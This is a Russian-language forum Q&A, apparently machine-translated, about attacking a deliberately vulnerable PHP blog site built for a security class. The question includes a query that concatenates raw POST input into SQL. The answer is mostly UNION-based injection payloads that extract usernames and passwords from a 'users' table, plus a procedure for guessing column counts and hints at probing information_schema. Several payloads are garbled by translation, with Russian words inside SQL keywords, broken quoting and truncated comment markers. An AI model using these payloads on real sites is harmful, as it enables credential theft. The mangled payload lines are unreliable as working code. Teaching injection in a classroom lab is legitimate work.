SQL-инъекция для моего сайта PHP

Я разрабатываю сайт для класса сетевой безопасности, который должен быть уязвимым для внедрения SQL. Мой запрос с php и выглядит так

$sql = "SELECT * FROM blogposts WHERE name= '" . $_POST["blogname"] . "'";

Он запрашивает пост из таблицы блогов. Я использую mysql_fetch_array, чтобы напечатать его, поэтому он должен по-прежнему распечатывать результаты независимо от имени столбца.

Однако в моей базе данных есть еще одна таблица с именем users, в которой есть имена пользователей и пароли. Это я хотел бы, чтобы запрос вернулся.

Может ли кто-нибудь указать мне правильное направление? И если я не могу напечатать другую таблицу, что я мог бы сделать вместо этого?

1 ответ

Вы бы ввести

' OR '1'='1' UNION SELECT Username, Password FROM users;--

Который сделал бы запрос

SELECT * FROM blogposts WHERE name= '' OR '1'='1' UNION SELECT Username, Password FROM users;--'

Который будет объединять результаты из исходного измененного запроса с результатами из таблицы пользователей.

Однако сначала необходимо убедиться, что количество столбцов, которые вы выбираете из пользователей, соответствует исходному запросу. Для этого вы должны сначала выполнить несколько тестовых запросов, таких как:

     'OR' 1 '=' 1 'UNION SELECT 1 FROM пользователей;-
     ' OR '1'='1' UNION SELECT 1,2 ОТ пользователей;-
     ' OR '1'='1' UNION SELECT 1,2,3 ОТ пользователей;-

пока ваш запрос не вернется без ошибок. Тогда вы знаете, что у вас есть правильное количество столбцов. Если скажем, у вас есть 5 столбцов, ваш введенный запрос для таблицы пользователей становится

' OR '1'='1' UNION SELECT Username, Password, 3,4,5 FROM users;--

Если имена таблицы и столбцов пользователей неизвестны, то вы можете объединить выбор с базой данных информационной схемы, чтобы выяснить это, или использовать грубую силу (например, попробуйте выбрать username, uname, name, emailи т. д., пока не получите результат).

Другие вопросы по тегам